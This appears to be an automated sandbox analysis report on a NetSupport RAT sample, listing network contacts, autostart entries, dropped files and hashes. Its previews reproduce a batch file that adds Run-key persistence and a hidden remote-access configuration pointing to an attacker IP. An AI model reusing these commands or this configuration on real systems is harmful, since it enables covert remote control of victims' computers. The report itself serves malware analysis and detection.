http://www.netsupportschool.com/tutor-assistant.asp	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://%s/fakeurl.htm	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.1.231	geo.netsupportsoftware.com	United States		13335	CLOUDFLARENETUS	false
45.61.128.74	unknown	United States		9009	M247GB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562378
Start date and time:	2024-11-25 14:57:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal92.rans.evad.winEXE@19/13@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 82% Number of executed functions: 171 Number of non-executed functions: 102
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:58:34	API Interceptor	17843064x Sleep call for process: shv.exe modified
13:58:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\shv.exe
13:58:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\shv.exe
13:58:23	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\shv.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.1.231	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	NeftPaymentError_Emdtd22102024_jpg.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	NeftPaymentError_Emdtd22102024_jpg.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Update.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
45.61.128.74	file.exe	Get hash	malicious	NetSupport RAT	Browse	http://45.61.128.74/fakeurl.htm
45.61.128.74	file.exe	Get hash	malicious	NetSupport RAT	Browse	http://45.61.128.74/fakeurl.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.0.231
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.0.231
	72BF1aHUKl.msi	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	hkpqXovZtS.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
M247GB	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	104.224.90.41
	comprobante.exe	Get hash	malicious	Remcos	Browse	176.10.80.43
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	95.174.64.138
	fACYdCvub8.exe	Get hash	malicious	Unknown	Browse	95.174.66.19
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	193.29.107.181
	fACYdCvub8.exe	Get hash	malicious	Unknown	Browse	217.138.199.203
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	192.230.38.194
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.202.249.45
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.204.82.51
	file.exe	Get hash	malicious	Unknown	Browse	91.202.233.141
CLOUDFLARENETUS	LAQfpnQvPQ.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	DGTCkacbSz.xlsx	Get hash	malicious	Snake Keylogger	Browse	172.67.129.178
	idk_1.ps1	Get hash	malicious	Unknown	Browse	172.67.129.178
	FreeCs2Skins.ps1	Get hash	malicious	Unknown	Browse	172.67.129.178
	Ref#2056119.exe	Get hash	malicious	AgentTesla, XWorm	Browse	104.26.13.205
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	PO#86637.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	104.26.13.205
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	172.64.41.3
	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.24.198

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Netstat\HTCTL32.DLL	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse

Created / dropped Files

C:\Users\Public\Netstat\HTCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\NSM.LIC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	false
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\Public\Netstat\PCICHEK.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\PCICL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\Public\Netstat\TCCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\client32.ini

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.533099732210104
Encrypted:	false
SSDEEP:	12:Wrqzd+mPZGS/py6z8BlsVTXuZ7+DP981E7GXXfDWQClnmSuZIAlkz6:mqzEmPZly6YBlLoG1fXXfDioIAaz6
MD5:	5778ABD7CF2E8039239CD5982281D61A
SHA1:	9AA6E80A115343A100031C9473FC6A071EEFD07E
SHA-256:	0BD4DC8B66C588F715B117021EF14C959E396F5CC6041F885F0D121401BC267A
SHA-512:	DC01567D881D48554732747A286AC9A95EF095B4CB860F384B85636B160778C9EFE366F53550B74D9DDF504B293F03BBB252E5247F03490E4567AD142DEF6E0A
Malicious:	false
Preview:	0x289612fe....[Client].._present=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAOeJWid73S6SvOyjjiTDVewA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0......[HTTP]..GatewayAddress=45.61.128.74:443..gsk=EFHH;K>OBDEJ9A<I@BCB..gskmode=0..gsku=EFHH;K>OBDEJ9A<I@BCB..GSKX=EFHH;K>OBDEJ9A<I@BCB....

C:\Users\Public\Netstat\msvcr100.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\netsup.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	519
Entropy (8bit):	5.1565107291104475
Encrypted:	false
SSDEEP:	12:HVj0Kprgidqu1M+Vj0Kprgidqu1oOrvuprgidqu1kprgidqu1oOC:HVyINVyI4cIjI4T
MD5:	B50D05F1710CD8674DB0AE8207722DD0
SHA1:	9896143256FB62F915EA41D8001AD10BC66D99BB
SHA-256:	F4A4726FDF39D43807ED2786BB9B2F881C8C7C8B666E14A96F7B2239C7A4BEDD
SHA-512:	3D57684675904055EA3BAAE6E343F5B5A068104EBF97EDFA28687A18855B3F5173847B9283C704636A457B434CA3ACB9D27A4075ECBCD1E5F6A2735B1E444D04
Malicious:	true
Preview:	@echo off..REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\shv.exe"..REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\shv.exe"..start %Public%\Netstat\shv.exe..REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\shv.exe"..REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\shv.exe"..start %Public%\Netstat\shv.exe

C:\Users\Public\Netstat\nskbfltr.inf

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\Public\Netstat\pcicapi.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\remcmdstub.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77224
Entropy (8bit):	6.793971095882093
Encrypted:	false
SSDEEP:	1536:zfafvTuNOwphKuyUHTqYXHhrXH4+LIyrxomee/+5IrAee/DIr3:jafLSpAFUzt0+LIyr7eR5IUeCIz
MD5:	325B65F171513086438952A152A747C4
SHA1:	A1D1C397902FF15C4929A03D582B09B35AA70FC0
SHA-256:	26DBB528C270C812423C3359FC54D13C52D459CC0E8BC9B0D192725EDA34E534
SHA-512:	6829555AB3851064C3AAD2D0C121077DB0260790B95BF087B77990A040FEBD35B8B286F1593DCCAA81B24395BD437F5ADD02037418FD5C9C8C78DC0989A9A10D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...c..c.....................J.......!............@.......................... ............@....................................<.......T................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\shv.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105848
Entropy (8bit):	4.68250265552195
Encrypted:	false
SSDEEP:	384:qTjV5+6j6Qa86Fkv2Wr120hZIqeTSGRp2TkFimMP:qHVZl6FhWr80/heT8TkFiH
MD5:	8D9709FF7D9C83BD376E01912C734F0A
SHA1:	E3C92713CE1D7EAA5E2B1FABEB06CDC0BB499294
SHA-256:	49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
SHA-512:	042AD89ED2E15671F5DF67766D11E1FA7ADA8241D4513E7C8F0D77B983505D63EBFB39FEFA590A2712B77D7024C04445390A8BF4999648F83DBAB6B0F04EB2EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\shv.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@..................................K....@.................................< ..<....0...i...........t..x).......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Download File

Process:	C:\Users\Public\Netstat\shv.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Preview:	40.7357,-74.1724

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.881035102524664
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'283'788 bytes
MD5:	a3cea314d888a08b79002656a9f4b927
SHA1:	396b9f96219785f0c80c69703dc623c23554affc
SHA256:	64356e6b4781925ef940695d869a826dc229e911919faf8729d8dfb34f31e61a
SHA512:	a279ce78302acb55f97181cf1bcd80982ca794995273af971c027fbb63b8ed7db14007ae0f84001d3a8b0502ca556cedb9ed4d6e95925bf853c2993f028b078d
SSDEEP:	49152:kDjlabwz9F+H1Zf8NNbTfvaw2EheBgtpsDf5Log8nUQkFG534txeqJ:0qwPk1ZfWhvcEhQGa178UnFdJ
TLSH:	CEB51209E3E909F5D0B7E53CCA668D02F77A7C5903309A8F23B0565A1F673A09E39761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i...i.\.i...b.\.i...g.\.`.].C.\...Y.R.\...\.a.\.....a.\

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x140032ee0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66409723 [Sun May 12 10:17:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	b1c5b1beabd90d9fdabd1df0779ea832

